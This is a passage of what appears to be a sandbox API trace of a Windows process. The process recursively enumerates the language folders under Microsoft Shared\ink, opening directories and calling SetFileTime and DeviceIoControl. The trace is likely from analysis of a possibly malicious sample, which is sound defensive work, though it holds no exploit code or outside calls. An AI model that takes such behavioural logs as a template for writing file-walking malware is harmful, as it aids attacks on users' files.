(HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.109] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.110] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.110] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.110] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9048b8 [0235.110] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x905960 [0235.110] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.110] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.110] GetLastError () returned 0x12 [0235.110] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0235.110] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.110] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.110] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.110] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.110] GetLastError () returned 0x12 [0235.110] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.110] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0235.110] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.110] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.110] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0235.110] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0235.110] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0235.110] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0235.110] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.111] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0235.111] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.111] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906fe8 [0235.111] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906fe8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906fe8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.111] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906fe8) returned 1 [0235.111] NtClose (Handle=0x1b0) returned 0x0 [0235.111] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.111] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.111] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.111] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.111] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0235.111] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.111] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.111] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.111] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.112] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.112] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.112] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.112] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.112] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.112] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9048d8 [0235.112] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x905a68 [0235.112] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.112] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.112] GetLastError () returned 0x12 [0235.112] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.112] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0235.112] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.112] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.112] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.112] GetLastError () returned 0x12 [0235.112] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.112] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.112] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.112] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.112] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0235.112] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0235.113] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0235.113] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0235.113] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0235.113] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0235.113] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0235.113] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.113] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0235.113] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.113] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906fe8 [0235.113] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906fe8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906fe8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.113] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906fe8) returned 1 [0235.113] NtClose (Handle=0x1bc) returned 0x0 [0235.113] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.113] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.113] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.114] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.114] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.114] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.114] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.114] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.114] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.114] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.114] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.114] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.114] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.114] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.114] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9048f8 [0235.114] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x905b70 [0235.114] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.114] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.114] GetLastError () returned 0x12 [0235.114] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0235.114] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.114] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.114] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.114] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.114] GetLastError () returned 0x12 [0235.115] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.115] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0235.115] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.115] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.115] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0235.115] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.115] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 